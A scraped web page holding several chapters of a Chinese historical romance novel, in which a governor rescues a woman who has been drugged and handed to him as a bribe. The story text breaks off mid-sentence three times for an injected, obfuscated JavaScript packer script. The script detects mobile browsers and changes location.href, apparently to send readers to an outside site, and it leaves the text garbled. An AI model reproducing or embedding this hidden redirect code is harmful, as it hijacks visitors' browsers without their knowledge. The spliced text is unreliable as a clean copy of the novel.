厢房门前还有两人守着，仆从道：“大人，衣物都备在里面。” 顾临点头走进去，门即在身后关了起来。平安等在外喊道：“大人？” 顾临回道：“无事。”才转到屏风后，果见有衣服整齐摆放在架子上。可他才脱了外裳，便听身后传来一声闷响，循声望去，才发现侧后方是一个碧纱橱。 他向前走了几步，才发现碧纱橱内，香气旖旎，红烛摇曳，帐幔飞舞，月华透过窗纱，照在地上，有一女子衣着单薄，似刚从床上摔下。 顾临转身欲走，却听她有气无力地喊道：“你别过来！” 顾临脚步一滞，那声音如此熟悉，不是周梨又是谁？ 27. 初吻 顾临没想到周梨会出现在这里，唤了她一声，却没有回应。上前几步看她，好像是晕了过去。 顾临将她抱起放在床沿边坐下，竟发现她身体绵软无力，根本坐不住，只能把她揽在怀里，又唤了几声，好半天她才悠悠睁开眼睛，却十分迷离。 顾临问她：“周姑娘，你怎么了？为何在这里？” 周梨缓缓转头看他，恍惚中右手里拿的簪子，“叮当”一声掉在了地上，顾临看了一眼，她却仿佛无知无觉。就这样又看了顾临好久，她才好像认出来，粲然一笑：“大人，怎么是你啊！” 顾临答道：“是我，你怎么了？” 周梨意识模糊，觉得仿佛在梦中般，想醒来却无论如何醒不来，但又能真切地感受到顾临的气息，以及自己对顾临爱而不能的痛楚。 她收敛了笑容，转而面带悲戚地望着顾临，好像一会他就会在自己的梦里消失，再也见不到。晃动的烛火照在她的脸上，更显得她目光灼灼，盛满了爱意，顾临看着她的眼睛，盈盈泪光让他心中一动，好似突然生出了万般柔情。 周梨的泪水终于夺眶而出，滑落眼角，顾临下意识伸手替她抹过，满是爱怜，她不禁有些哽咽着道：“我喜欢你，我知道不能，可我还是喜欢你。” 顾临心头一窒，慌忙问道：“为何不能？” 可周梨只是摇头，她突然觉得火热难耐，身体对顾临的强烈渴望，让她最后一点理智也要消失殆尽，她想喊顾临快走，却又如梦魇般，发不出声音。 顾临见她喃喃不知说些什么，凑近想听清楚，周梨却再也克制不住自己，伸手搂住他的脖子，吻上了他的唇。 冰凉又温润的触感，此刻仿佛成了她的解药，她贪婪的吮吸着，笨拙而热烈。 顾临一时间僵愣住，他知道他该推开，可不知是醉意上头，还是满室香气惑人，他留恋彼此唇齿交缠的意乱情迷，他只记得周梨刚刚说喜欢他，他阻挡不了自己的心动。他在周梨的缠绵攻势下，渐渐沉沦，也搂住她热烈地回应。 屋外三人见顾临久久未出来，有些担忧起来，平安上前准备叩门，守门的家仆却阻拦道：“老爷交代了，周梨姑娘在里面，奉劝阁下不要搅扰了顾大人的好事。” 平安震惊转头看着程顺和马齐，三人面面相觑，若是说有其他姑娘在里面，他们定会立马踹门，因为知道他们大人不会如此随意。可要是周姑娘，他们也说不清这对不对，大人对她似乎总会做些略微出格的事情，所以这一句话当真唬得他们不敢轻举妄动。 屋内二人仍在缠绵，周梨体内药劲发作愈发厉害，顾临隔着衣服也能感觉到她的身体滚烫似火。单单亲吻已然不能满足周梨身体的欲求，她意识混沌，也不知如何才能缓解痛苦，只是本能的在顾临身上索取。她摸索着解开顾临的衣裳，贴到他的胸前，才感觉躁热稍解。 顾临心中一惊，恢复了一丝清明，他停下来看她，见她单薄的衣裳早已散落，大片雪白的肌肤裸露在外，再看她面色绯红异常，眼神迷蒙，才发觉她好像神志不清。 顾临自惭不已，轻轻推开周梨，替她将衣裳穿好，却发现她左手臂上，竟有三处新添的伤口，还有斑斑血迹，他想起刚刚掉落在地的簪子，那伤口分明是用簪子扎的。 顾临顿时明白，这大概是周梨想让自己意识清醒些才扎的，所以那时她滚下床，对他说不要过来，可他却如此趁人之危。 一旁周梨离了顾临，只觉痛苦异常，喃喃道：“好难受。” 顾临双手扶住周梨，情绪万千，他问她：“谁把你带到这里的？” 周梨只是摇头，他不知她是不知道还是根本听不懂。 顾临又问道：“他们对你做了什么？” 周梨还是摇头，他心沉了沉，知道他的猜想是对的。他想了想还是问道：“你可知我是谁？” 周梨抬眼只望着他，他突然很心慌，他怕她摇头，又怕她认错了人。 周梨皱着眉，半晌才头痛欲裂地点点头，声音轻得不能再轻：“顾临，顾承川。”这是她年少时心里念叨过千万遍的名字。 顾临却听得清清楚楚，他从未觉得自己的名字如此动听，他庆幸虽然周梨神志不清，却到底一直知道是他。可她为何会唤自己的字？但周梨越发痛苦的神态，让他不及细想。 屋外三人正踌躇不前，却见门突然开了，顾临衣衫不整就走了出来，夺过平安手里的披风，又回了屋。三人你看看我，我看看你，都成了丈二和尚，正摸不着头脑，顾临已抱着周梨走出来，披风正裹在她的身上。 三人目瞪口呆，顾临说了声：“回府，请陈大夫来。”抱着周梨往前走了几步，三人才反应行动起来。守门家仆这回不敢再有任何阻拦，只自顾自向前厅飞奔而去。 不久前的宴席上众人见顾临迟迟未归，有人不免起了疑心，问王雄道：“王道台是否有别的安排了？” 王雄也觉得事情大约成了，又想安抚下陆志远，给他争回点面子，于是道：“可见顾大人情有独钟，不枉陆员外成人之美。” 邢洵没听懂，不免追问道：“道台这是什么意思？” 王雄笑道：“说来话长了，诸位都听说了陆员外近来要娶新夫人吧？” 众人中不少已收到请帖，不相熟的也有耳闻，听王雄这样说，都纷纷向陆志远道喜，只有秦皓不声不响，继续喝着酒。 陆志远讪讪回礼，王雄却打断道：“诸位也太着急，且听我说完，陆员外定下这门亲事后，才意外得知顾大人有意于这位周姑娘，所谓‘君子不夺人所爱’，陆员外才借此机会，将周姑娘送与顾大人。刚才那位美人劝酒，不过想试探下顾大人的真心，现在看来，陆员外倒是做得值当。” 这话说完，有奉承的纷纷称颂陆员外之举可堪传为美谈，有不屑如此攀附之举的，也只笑而不语。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240732|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 秦皓听了这些鬼话后，震惊不已，想质问陆志远有什么资格将周梨送人，可刚要起身，旁边的岳父冯仑一把按住了他，向他摇了摇头。有知道此中内情的，已将目光投向他，等着看好戏。他稍冷静了些，便觉有些心灰意冷，他知道自己再不忿也木已成舟，他做什么都无济于事了，如今在场的所有人都认为周梨已是顾临的人了。 事已至此，料想顾临也不会回席了，时辰也已不早，众官员识趣地纷纷告辞要走，王雄也只虚留了一番。后院听说前面已散，也都起身相互别过，这场晚宴就此到了散场的时刻。 家仆匆匆找到王雄时，他正立于前院送客，家仆还没来得及说明情况，已看见马齐和平安从他们身边匆匆而过，后面不远处顾临已快步走来，周梨蜷缩在他怀里一动不动，程顺在旁提着灯笼，一路引人纷纷侧目，顾临却丝毫不为所动。 王雄大惊迎上去道：“顾大人这是做什么？” 顾临停下脚步：“多谢王道台款待，在下告辞先回府了。” 王雄试探道：“大人是不满意下官安排？何不在寒舍歇息一晚？” 顾临看了眼怀中备受折磨的周梨，抬眼笑道：“怎么会？十分感念道台的美意，只是她似乎不舒服，我先带她回府，还望见谅！改日再来拜谢道台。” 王雄这才略感安慰，还不忘给已经走了的陆志远邀功：“这也多亏陆员外愿意割爱。” 顾临依旧笑道：“改日也一定谢他。” 王雄连道：“不敢不敢。”殷勤相送顾临至大门口，还未走的官员见状，还想上前道喜，但马齐已将马车赶过来，顾临头也不回便抱着周梨上了马车。 冯仑在后笑道：“王道台这礼真是送到大人心坎上去了，瞧这性急的。” 一旁秦皓心如刀绞，王雄本还有些忧心，听到这话，却是疑虑尽散，大笑着恭送了冯仑等人。 冯珂追上父亲和秦皓问道：“怎么回事？我怎么瞧着顾大人抱着的人像是周梨？” 秦皓沉默不语，冯仑意味深长地笑着，也没回答。 知府家马车里，邢夫人等到邢洵上了车，也问道：“发生什么事了？怎么抱了个女人出来？” 邢洵道：“没什么，王雄他们送的。” 邢夫人鄙夷道：“我还道他一表人才，品貌不凡，原来你们男人都一个样！” 邢洵喝道：“别多嘴多舌！”他虽如此说，却也知道，这种事情最易散播，不出两日，定会成为全城的谈资。 而此刻顾临在马车里，静静地搂着已人事不知的周梨。谁能想到，不过前两日，周梨才告诉他并不打算再嫁人，他知道那是特意说给他听的，他想既然如此，也强迫不得。 可今夜这一场闹剧，竟生生将周梨送到了他怀里，从此在名义上，周梨便属于他了。他不知是王雄和陆志远好笑，还是这世道好笑。但经过这一夜，他似乎再也不想放手了。 28. 秘密 陈锡山连夜赶来给周梨开了药方，问清事情的来龙去脉后，他痛心疾首，经过了这几件事情，他仿佛看清了陆志远，顿生了离开仁安堂的心思：“老东家好好的仁安堂交到他手里，竟被弄得这般乌烟瘴气。当初李武弄了这药想在药房里卖，我觉得服多了于身体有害无益，阻止了。没想到他们会这样用到阿梨身上，真是畜生！” 顾临担忧地问道：“那周姑娘要不要紧？” 陈锡山道：“这药疏解了倒还好些，憋着确实伤身，服了我开的药，再将养几日，应该没什么大事。” 顾临谢道：“这么晚当真劳烦陈大夫了！” 没想到陈锡山却俯身作揖：“事已至此，还请顾大人日后能善待阿梨。”之前他想让顾临娶周梨，是为解燃眉之急，如今倒真觉得顾临是可托付之人。 顾临一点也没犹豫，郑重道：“我一定好好待她。” 陈锡山甚是欣慰，连连点头，可顾临又道：“只是以她的性子，怕是不会愿意。” 陈锡山仔细想了想，觉得确实如此，不免叹气，打开了话匣子：“这丫头我是捉摸不透，我老说她一个女孩家家也老大不小了，总是要嫁人才是正经，她却总是不愿，就这么一年年耽误下来。她师母一直念叨，总说我们当初不该撮合她和秦皓。” 顾临幽幽道：“陈大夫觉得她是一直心系秦皓才如此吗？” 陈锡山意识到不对，赶忙解释道：“哪里！是秦皓那臭小子看上阿梨，求着我们给他做媒，好不容易阿梨答应了，他却又娶了别人。搞得她师母后来想给她做媒又觉得没脸。我倒是没觉得秦皓反悔另娶，阿梨有什么伤心，倒更像是松了口气。当初答应，怕也只是在我们的游说下，想报答秦皓的救命之恩。” “救命之恩？” “是，我第一次见阿梨时她已经快病死了，是秦皓在城外的小破庙里发现她，把她带来仁安堂找我医治，照顾了几日才醒来。她原本是就要走的，还是秦皓苦留才多待了两日，可巧那日就遇见张进，竟是她表兄，这才留了下来。” 顾临有些心疼周梨的过往里，还有这样的境遇，可他记得周梨说是家乡发水寻亲到永州的，怎么会有些出入，于是追问道：“她原本是要去哪的？” 陈锡山仔细想了想道：“记不清了，后来也没提过了。”说完觉得似乎说得有点多了，起身告辞，临走时却还是又回头说了句：“我能看出阿梨瞧大人的眼神是不同的。” 顾临笑了笑，送走陈锡山又返回周梨身边，看着她依旧眉头紧皱，不禁伸手想替她抚平，他也知道不同，可为何他靠近时她就要疏离？他轻声问道：“你怎么好像有很多秘密？” 周梨昏昏沉沉睡了两日，又是黄昏十分才彻底清醒，她只记得自己被强喂下颗药丸，送到了什么地方，后来就迷迷糊糊，再也没有什么记忆。至于为什么又躺在巡抚衙门里，她想破脑袋，也完全想不起任何蛛丝马迹。 朱妈端着药碗进来，发现周梨已醒过来坐在床边，喜不自胜。前几天马齐还告诉她，大人不可能娶周姑娘回来，可现在怎么样呢？她出门买菜都能听到别人说故事似的，在讲“仗义富商成人之美，风流巡抚如愿以偿”。现在哪里还有人不知，周姑娘就是大人的人了，她才不在意是妻是妾，反正大人也没妻没妾，就周姑娘一个。 朱妈笑着走上前：“姑娘醒了，刚好把药喝了吧。” 周梨接过药碗闻了闻：“这是谁开的解药？”她知道她那日是被喂了什么药才会有那样的身体反应。 朱妈道：“是陈大夫开的，姑娘已经喝了两日了，瞧着是有用的。” 原来师父来过，周梨没再说什么，端起药碗三两口就喝尽了。 朱妈笑道：“姑娘喝得真快，这两日大人喂姑娘喝药，都要花上好大功夫，今日大人不在，我原还担心喂不好这药呢。” 周梨一个激灵，差点没抓住药碗，顾临给她喂药，什么情况？她将药碗递过去，试探地问道：“朱妈，我为何会在这里？” 朱妈接了碗，又递了帕子给周梨擦嘴，很自然道：“大人抱你回来的啊！” 周梨觉得这话甚是耳熟，还想再问，这时推门声响，顾临缓步走了进来。 朱妈识相地笑着要退出去：“大人回来啦，您和周姑娘聊，我先下去了。” 顾临看着朱妈手里药碗问道：“药已经喝过了吗？” “喝了喝了，我以为大人一时回不来，就先拿了药来，好在周姑娘醒了，自己就把药喝了。”朱妈说完，就跑出去将门带了起来，屋内一时间只剩下周梨和顾临二人。 顾临走到周梨身旁坐下，关切地问道：“感觉好些了吗？” 周梨点点头，觉得这气氛让人有些喘不过气，她吸了口气，故作轻松地笑道：“又要空口谢大人相救之恩了，大人又是在哪里救的我？发生了什么吗？” 顾临没有立刻回答，只是看着她，目光深邃：“你什么都不记得了？” 周梨心慌地摇了摇头：“我只记得陆志远他们要把我送人，我不知被送到了哪里。” 顾临沉默了片刻，才抬眼看她：“他们把你送给了我。” 周梨怀疑自己是不是听错了，反应了好久才问道：“把我送给大人，为了贿赂大人不成？” 顾临点头：“嗯，因为我抓了李武和你说的背篓客程鹏，他们可能觉得可以买通我，放过他们。” 周梨还是匪夷所思：“贿赂大人为何不送金银，送我是什么猪脑子能想出来的？” 顾临有些好笑，解释道：“这事怪我，大概是那日你我同乘，后来又扭伤了脚，王雄派来监视的人以为你我有私情。” 周梨虽然还是不能完全理解，但他们确实就是这么干的，她感到有些无奈：“竟然是这样， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16257931|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早知道是要被送去侍奉大人，我就不反抗了，也就不用被喂那药了。” 她只想着那药的滋味真不好受，说完也没意识到这话有些暧昧不清。 顾临探究地看她道：“为何不反抗？” 周梨愣了下笑道：“因为大人定不会接受，而且能救我于水火呀！” 顾临垂眸笑了笑后正色道：“抱歉，当时的情况不是我拒绝就能让你置身事外的。”无论他怎么做，别人都知道周梨被陆志远送给他了，如果拒绝了，她也只会被嘲笑，当然他没有拒绝，是因为他本来就有私心。 虽然顾临没有说得很明白，但周梨却听懂了，那晚她虽不知在哪里，却听到了宴乐之声，陆志远如果要用她去贿赂讨好顾临，那定是要大张旗鼓地将她送出去的，要不然让她跟着顾临也是名不正言不顺，顾临肯定不会接受。所以大庭广众，顾临是顾念她的处境才接受的吧。 周梨笑道：“我明白的，幸好是大人，这下也不用嫁陆志远了，倒是因祸得福了。 ” 顾临却意味深长地道：“可现在在名义上你是我的人了。” 周梨听到这话，心突突跳了两下，不知他什么意思，只好又笑笑道：“这不要紧，我不在意这些，过两日大人就说不喜欢不想要了，把我放出府不就行了。” 顾临突然有些生气地转过头，不再看她。他虽然猜到周梨不会就这样将错就错待在他身边，但他不明白她为何这么不在意自己的名声，把这件事情说得如此轻松，把离开他说得如此理所当然，明明她心里是有他的。 周梨见他神色有异，不禁问道：“大人？你怎么了？” 顾临却只道：“恐怕没那么快不喜欢，等收拾了陆志远再说，你先安心住在这里吧。” 周梨小声问道：“一定要住在这里吗？大人是有什么计划？” 顾临神色凝重地点点头：“你若走了，岂不是让他们知道，我根本没有接纳他们的投诚，到时候警惕心起，或者宁愿鱼死网破，事情倒难办了。” 周梨听了，好像是这个道理，但又觉得哪里不对劲。她突然想起喂药的事情，顾临是不是因为觉得担了这个名，就对她有责任，所以才给她喂药？她怕因此成为负担，小心翼翼向顾临说道：“好的，都听大人安排。只是我真的不在意这些所谓的名分，我不会有非分之想的，等事情了了，咱们桥归桥路归路便是了，还请大人不要因此对我过多照顾。” 顾临自觉这些年，早就能做到平心静气，喜怒不形于色了。可听了周梨这话，才按下去的怒气，又升腾起来。又是这样的疏离，“不会有非分之想”，“桥归桥路归路”，那又对他表白心意，又亲他算什么？是因为“知道不能”吗？到底为什么不能呢？ 不过没关系，他掩了异样情绪，笑向周梨道：“好，我明白了。”只要先把人稳在身边，他总能都弄清楚的。 29. 日常 大雨稀里哗啦下了一夜，周梨在床上辗转反侧。她说得洒脱，可一夕之间，竟与顾临成了这么亲密的关系，虽然是假的，她心里又哪能什么都不去想。本就心烦意乱，一夜没有停歇的雨声，更添了几分愁绪，胡思乱想到大半夜，也不知什么时候才睡着了。 醒来时天已大亮，雨虽暂歇，天气却已转寒，冷风呼呼大作，突然就有了快要入冬的实感。周梨摸了摸身上单薄的衣裳，盘算着刚好有理由回白衣巷，先回家住几天，万一顾临就把事情解决了，也就不用再回来了。 她心下觉得如是甚好，才掀开被子下床，就听敲门声响起，是朱妈问她可醒了。她应了声，朱妈便推门走了进来，手里捧着高高一叠衣物放到桌上。 朱妈笑道：“这天凉得可真快，姑娘快挑件厚衣裳穿着，可别冻着了。” 周梨看那些衣裳都是好料子，颜色素雅，似乎都是崭新的，不禁问道：“这些哪来的？我正准备回家取几件衣裳来呢。” “是大人昨日回来，路过成衣铺子买的。”朱妈回答完，还要添一句，“我也是问平安才知道的。大人还交代了，姑娘若有什么东西需要回去取的，不必亲自跑，吩咐人去拿就行。姑娘身子还没养好，这个大风天更易受凉，得仔细些。” 周梨心中暗叹，他还真是神机妙算，昨日天气还挺好，怎么就知道今天气温就要骤降了？她只得打消了回去的念头，随意拿了最上面那件，穿上了身。 朱妈绕着她走了一圈，发自内心地赞道：“这身衣裳姑娘穿着真好看，大人怎么跟量过姑娘尺寸似的，竟买得这样合身？看这腰身简直跟量身定做的一样。” 朱妈这话说得无心，周梨却听了个脸红，胡乱应了声，便自去洗漱了。 周梨早已不习惯这有人伺候的生活，衣来伸手饭来张口，用完早饭便没了事情可做，望着窗外发呆。要是在白衣巷，她还能抄点话本子打发时间，多少还能挣些钱。可现在她这新晋巡抚大人的宠妾，再去兜罗这些事情来干，别人会不会背后笑话顾临竟这般穷酸苛待人？ 想到这里，她不免陡然心惊，又想起来曾经夹在话本子里的那张词，那本书卖了她也就没细究，因为那时她并不知大人就是顾临，就在这永州城里。 不过一阵担忧完，又觉得自己有些杞人忧天，单单一张纸又能证明什么呢？何况顾临怎么会看话本子？这本书怎么也落不到顾临手上。 正想些有的没的，却听见有脚步声响，周梨抬头看去，竟是一个小厮领着张兰走了进来。她有些意外地将张兰迎进来道：“姐姐怎么到这里来了，家里有什么事吗？大人应该派人去告诉舅妈他们我的情况了吧。” “家里没事，我就来看看你到底怎么样了，你没事我就安心了。”张兰松了口气，“我还以为进不来呢，没想到这么容易就见到你了。” 周梨笑道：“我又不是被关起来了，怎么会见不到？” 张兰皱着眉头道：“你怎么还笑得出来？怎么莫名其妙就成别人的妾了？你跟我说那位大人会帮你，就是如此帮的？到底是帮你脱困，还是帮他自己得了好处？白白就让你跟了他。” 周梨解释道：“不是这样的，都是陆志远使的坏，我们措手不及，才成了如今这样的局面，大人不是那样的人。” 张兰却叹道：“你平时是聪明，可一旦真心待人总有些傻性，别被人卖了还帮人数钱呢！” 周梨还待再解释两句，却忽见顾临出现在了门口。 他今日没有出门，听到门子来报，门外有人声称是周梨的姐姐，便命人赶紧请进来，自己安排完手头事情，也急急跑过来招呼。 周梨估摸着刚刚的话，他大约都听见了，有些尴尬地笑道：“大人，您怎么来了？” 张兰回过头这才看到了顾临，却见他笑着对周梨道：“听说姐姐来了，定是不放心你，我正好无事，就过来看看。” 说着又向张兰作揖道：“姐姐第一次来，有失远迎，招呼不周之处，还请担待。” 张兰一向火爆脾气不怕事的，她以为周梨是绝不会忍受被送人做妾的。那夜周梨迟迟未归，张进去陆家要人未果，还起了冲突。第二日顾临派人去告知了情况，张进他们不知如何是好，但顾临本于周梨有恩，只能先等等看看。她知道后可是按耐不住，本来寻上门来是准备大闹一场，控诉顾临官商勾结，强抢民女。虽然知道会无济于事，还是抱着一丝侥幸能将周梨带回去。 可不成想一路走来，所遇之人都客气之至，都跟自己的设想完全不一样。顾临对她如此有礼，倒叫她不知如何作答。 这时候朱妈带人端上来茶水果盘摆好，客气了一番才退了下去。 顾临又向张兰笑道：“本来应该陪阿梨上门拜见舅母和姐姐，只是阿梨身子还没大好，故而还未成行，还请姐姐不要见怪。今日既然来了，就多陪阿梨些时候，用过膳再走吧，也省得她无聊。” 张兰讷讷道好，她向来吃软不吃硬，所谓伸手不打笑脸人，她来时雄赳赳气昂昂的气势，就此一而衰再而竭，一去不复返。 周梨在旁对顾临的态度感到诧异，但又不便当着张兰的面说什么。好在平安适时跑来道：“大人，王大人求见。” 顾临闻声点头，又向她二人道：“我还有事，先告辞了，姐姐像在自己家里就好。”说完又行了一礼，方才离开，走得远了，周梨才听到隐隐有咳嗽声传来。 张兰看着他远去，才自言自语道：“卖相看着倒还是好的，就是不知道有没有坏心思。” 周梨“噗呲”一笑，拉着她坐下道：“是你那些点心果子呢，还卖相！” 张兰也笑笑，又问道：“他有没有对你做什么？” 周梨在张兰面前倒没什么好害羞，只摇摇头道：“当然没有，大人是正人君子，不会趁人之危的。” 张兰见她对顾临处处维护，知她认准了顾临是好人，只问道：“那你就真做他的妾室啦？” “是的。”周梨料想顾临刚刚态度，定是不想张兰他们知道实情，节外生枝，就先敷衍了，想着等事情了了，再跟她解释。 张兰听如此回答，只好道：“他若真如你所说，跟你倒是般配，只是怎么能作妾呢？” 周梨笑道：“姐姐，你糊涂了，我的身份还能做他的正房不成？” 张兰哪里能不懂周梨这话的意思，只得叹了口气。她本是担心周梨才来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16278209|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，现在见她无事，也就再说了会话便要走，周梨知她店里事多，也就没留。 她将张兰送至门口，正往回转时，恰恰遇见顾临送王雄出来，躲闪不及，只得上前行了一礼。 王雄笑道：“周姑娘当真美丽动人，顾大人艳福不浅啊！” 顾临笑而不语，走到周梨身边拉起她的手道：“手这样凉，怎么出来也不多穿点衣服？” 这突然的举动让周梨的心砰砰直跳，但她明白这是做给王雄看的，也就笑着回应：“不妨事，就回去了。” 王雄见二人柔情蜜意，便自觉地道：“下官先告辞了，顾大人不必再送。” 顾临也不客气，只笑道：“王道台慢走。” 就此别过，王雄转过头便笑着腹诽：“为个女人就如此，当真是不足为虑。” 顾临依旧紧紧牵着周梨的手，直到王雄走不见了，才渐渐松开，轻轻说了声：“快回去吧，这里风大。” 周梨点头，顾临送她回至房中，一路上虽然竭力克制，却还是不住咳嗽。 周梨倒了一杯热茶递给他：“大人该吃些药才好。” 顾临道：“不妨事，姐姐怎么就走了？” 周梨不知他怎么叫得如此顺口，只笑道：“她忙得很，待不住的，请大人见谅，不要把她的话放心上。” 顾临也笑道：“她说得对，可不是我独得了好处？” 周梨看他并不在意，才转了话头问道：“王雄来做什么？” 顾临答道：“他来暗示我放掉李武和程鹏，我答应了。” 周梨点头表示了解，顾临却问道：“你不怪我吗？” 周梨愣了一下才道：“为何怪大人？想来也是为我才做的表面人情，何况大人所谋之事远大，本不该为我这些小事绊住手脚，他们虽几次三番害我，所幸遇见大人，我都逃脱了。” 顾临问道：“你知我所谋何事？” 周梨慧黠一笑：“不知，只是看大人不急着解决仁安堂通匪之事，反而跟王雄和陆志远周旋，可尤其是陆志远，有什么值得大人图谋的呢，想来想去，也只有钱，刚好大人剿匪也很缺钱。我不知大人所谋何事，但一定图钱。” 顾临闻言只觉心有灵犀，不用多言，她总是能懂他所思所想。他看着她上扬的唇角，一些奇妙的回忆闪过脑海，他不禁笑想，还好她不知，他所谋之事，可不止是钱。 这时朱妈又给周梨送来午饭，见二人聊得开心，也笑向顾临道：“大人要不跟姑娘一起用饭吧？” 顾临笑应了声：“好。” 周梨没想到顾临会留下吃饭，虽感到有些意外，但更多的是心底忽略不掉的喜悦纷杂，哪怕知道不能，却还是会为多一时的相处而窃喜。可又怕多一时相处，就多一分喜欢，再也见不到时，便多一分痛苦。 她帮着朱妈摆好饭，才落座，就见顾临已夹了几样菜，放在了自己的碗里，温言笑道：“快吃吧。” 她愣愣点头，静静拿起了碗筷，望着顾临自在用饭的样子，心中五味杂陈。若不是那些变故，这一餐一饭，一言一谈，是不是都只是卢应溪和顾承川婚后的琐碎日常？ 可之于周梨，却都是虚妄。 30. 病根 陆志远一直候在王雄府上，待王雄回府忙忙迎上去问道：“道台，怎么说？同意放人吗？” 王雄笑道：“人大概都到家了。” 陆志远没想到会这么顺利：“当真这么容易？抓他们俩个单纯只是为了给周梨出气？” 王雄道：“我看是的，他说都是误会，你没看到两个人那难舍难分的样子。” 陆志远还是有些怀疑：“当真没一点怀疑仁安堂暗通消息？” 王雄变了脸色道：“他没说就是没有，官场就是这个样子，很多事情心照不宣罢了。永安如今这个局势，凭他一个人当真能改变不成，做做表面功夫，糊弄糊弄上面就成了，当真要抓着什么都不放，他有那么大能耐吗？也不瞧瞧他前几任都是什么下场。” 陆志远只好道：“大人说的是。” 王雄面色稍缓：“你最近还是低调谨慎些，私盐的事情更要万分小心，他新官上任三把火，正是要表现的时候，千万别被他抓住把柄。” “小人明白。” 王雄点头表示满意：“但也不能因此断了这条财路，你须有分寸才是。还有，他顾临不是要功绩，嫌卫所的兵不够在练民兵嘛，你也支援支援，捐些粮草物资，再拉拢拉拢关系。” 陆志远有些迟疑：“这怕是会让王爷生气吧？” 王雄道：“自然不会，都说了是表面功夫，就他那民兵，到时候还知不知道能不能摸到敌人屁股。” 陆志远应道：“既然如此，小人定不惜财力办好此事。” 永州卫位于城东南角，国初卫所官兵还保持一定的战斗力，但经过百来年的太平，积弊日甚，不仅人数比造册上少，而且老弱病残居多。也因为此，匪患猖獗，官府却无力应对。 顾临从辖内四省各县招募了三千民壮，与卫所拣选出来的三千青壮年官兵，编在了一起，亲自制定了训练计划，他少时爱看杂书，尤其熟练兵书阵法，此时倒派上了用场。具体训练实操由秦皓全权负责，才没几日，已将这支新组建的军队操练得有模有样。 剩下的老弱除了实在不能履行兵役被遣散回家者，也都被安排了较为轻松的训练，由卫所其他将官带领。 这日顾临来卫所视察训练情况，指挥同知齐洋和席沐正带着老弱练射箭。二人一向觉得顾临班门弄斧纸上谈兵，看他手无缚鸡之力的文弱书生模样，却对卫所诸多指手画脚很是不屑。今见顾临下得马车后咳声连连，仿佛不堪一阵风吹，更是心中鄙夷。 顾临站在阅兵台上，见新兵阵法操练进退有距，聚散有度，令行禁止，气势恢宏，不禁向冯仑赞道：“秦指挥，果真是将才。” 冯仑与有荣焉，谦虚道：“顾大人过奖了。” 说完踢了脚不声不响的秦皓，秦皓才反应过来：“都是顾大人制定的计划好，末将照着做而已。” 顾临道：“二位过谦了，如此不出一个月，便能出征了。” 冯仑惊讶道：“这样快吗？只是怕粮草都还不齐备。” 顾临笑道：“到时自然会有的，你们把军队操练好就是。” 二人领命，见他如此笃定，也就没有多问。 齐洋和席沐跟在后面，早听得不是滋味。这时顾临又向射箭场地看去，却见那些兵士与新兵相比，明显懒散萎靡得多，不禁问道：“射箭的操练是否二位同知在负责？” 齐洋知道是要问责，立马回道：“大人恕罪，非我等不尽心，只是兄弟们未被选入精兵阵列，不免灰心丧气了些。” 席沐也道：“不仅如此，这些被挑剩下的，确实也都体力不济，就算是射箭，也是难教得很。” 顾临闻言心下了然，卫所官兵都是军户，世代相传，绝大多数不过是无法逃脱兵役，不得已而当兵混日子，没有被选入正规阵列，大概庆幸者居多，灰心丧气的恐怕另有其人。武将多为世袭，平庸无为者不在少数。对于顾临来说，选中秦皓，实为让能者居之，根本也不是论资排辈，刻意跳过秦皓的这两位上司。 顾临看着他们，目光凌厉：“身为将官，因材施教，鼓舞士气本就是你们的职责，何来诸多推诿？” 席沐不服气道：“顾大人也说因材施教，给我好苗子，我也能练好。现在挑剩下的歪瓜裂枣给我，我可不担这个责。” 齐洋也语带讽刺道：“顾大人英明神武，熟读兵书，但让大人骑马射箭也是强人所难吧？” 站在顾临身后护卫的程顺和马齐，差点没憋住笑出声。 冯仑见状不妙，忙喝斥道：“不得无礼！” 顾临却道：“齐同知是觉得军中这些老弱比我还稍强些吧？” 齐洋低头抱拳：“末将不敢。”嘴上虽这么说，心里可不就是这么想的。 顾临笑道：“那我若能拉弓射箭，是不是他们也都练得，你们也都能教得了？” 齐洋和席沐二人不觉对望一眼，觉得顾临大约连弓都没摸过，才敢说这话。这么个瘦削的身板，他们估摸着这行军弓箭，他能拉开就不错了，何谈射箭？ 齐洋就势想出出顾临的糗，忙抱拳道：“请大人赐教。” 冯仑怕顾临下不来台，忙拦道：“胡闹！” 顾临却径直走向射箭场地，全场将士见上官走下阅兵台，也都目光跟随着，好奇发生了什么事。 只见顾临从一个士兵手中接过弓箭，不过试了试手感，便挽弓搭箭，三箭连发，行云流水，快如闪电，众人都还未及反应，三箭皆已正中靶心。 